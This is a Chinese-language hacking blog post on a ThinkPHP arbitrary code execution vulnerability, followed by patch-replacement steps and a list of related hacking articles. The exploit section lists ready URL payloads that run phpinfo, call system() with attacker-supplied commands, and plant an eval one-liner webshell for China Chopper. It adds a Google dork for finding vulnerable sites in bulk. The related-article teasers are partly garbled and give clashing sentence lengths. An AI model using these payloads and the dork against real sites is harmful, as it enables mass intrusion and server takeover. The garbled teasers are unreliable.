Thinkphp框架任意代码执行漏洞利用及修复

hacker4年前黑客文章1257

ThinkPHP是一个开源的PHP框架, 是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循 Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和 *** P的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.

最近thinkphp框架爆出了一个任意代码执行漏洞,其威胁程序相当的高,漏洞利用 *** 如下:

index.php/module/aciton/param1/${@print(THINK_VERSION)}
index.php/module/aciton/param1/${@function_all()}
其中function_all代表任何函数,比如:
index.php/module/aciton/param1/${@phpinfo()}
获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al
列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}
直接执行一句话代码,用菜刀直接连接.
有时候连接不上的话需要修改一下后面的一句话用print()函数打印出来,如下:
index.php/module/action/param1/$%7B@print(eval($_POST[c]))%7D
黑阔可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。

thinkphp框架执行任意代码漏洞修复 *** :
用户可下载官方发布的补丁:http://www.nxadmin.com/tools/ThinkPHP_20120323_security_patch.zip 修正 *** :

首先解压缩安全补丁文件。

2.1和2.2版本
替换补丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Think/Util/目录下的同名文件

3.0版本
替换补丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Core/目录下面的同名文件
替换补丁包中的CheckRouteBehavior.class.php 文件到 ThinkPHP/Lib/Behavior/目录下面的同名文件
标签: 黑客技术

相关文章

Nmap是用以端口扫描器,服务项目检验,乃至是漏洞检测等多种

Nmap是用以端口扫描器,服务项目检验,乃至是漏洞检测等多种

Nmap是用以端口扫描器,服务项目检验,乃至是漏洞检测等多种多样作用的强劲专用工具。Nmap从新手入门到高級遮盖了很多基本的定义和指令,在本文的第二一部分,我将谈及Nmap一些高級的技术性。 &nb...

什么叫Wireshark?该专用工具是一个互联网排序解析器

什么叫Wireshark?该专用工具是一个互联网排序解析器

什么叫Wireshark? 该专用工具是一个互联网排序解析器,这类专用工具将试着捕捉用以剖析,网络问题清除,文化教育,手机软件和通讯协议开发设计的互联网数据文件,并显示信息尽量详尽的获得的数据文件数...

dedecms找后台和解密注意事项

解密:织梦密码是cmd5加密,为20位,去掉前三位与后一位。 后台:默认的是dede/login.php 有时后台也可以利用http://chncto.com/include/fcke...

Honeyd是不是适用全部电脑操作系统?

Honeyd是不是适用全部电脑操作系统?

什么叫Honeyd? Honeyd由Niels Provos建立,是一个开源代码,使客户可以在各种各样计算机网上建立和运作云虚拟主机。客户能够 配备这种云虚拟主机来仿真模拟不一样种类的网络服务器,使...

成为肉鸡后的自救方法_发现自己成为肉鸡怎样自救

成为肉鸡后的自救方法,我们一起分享。 一、正在上网的用户,发现异常应首先马上断开连接 如果你发现IE经常询问是你是否运行某些ActiveX控件,或是生成莫名其妙的文件、询问调试脚本什么...

90后小伙通过自学网站渗透成大神,网站入侵被判刑期一年6个月

90后小伙通过自学网站渗透成大神,网站入侵被判刑期一年6个月

2020年6月,一90后小伙通过自学网站渗透成大神,网站入侵被宜宾市江阳区人民检察院判决:嫌疑人唐斌(笔名)犯侵害中国公民私人信息罪,被判刑期三年一个月,并罚款4000元...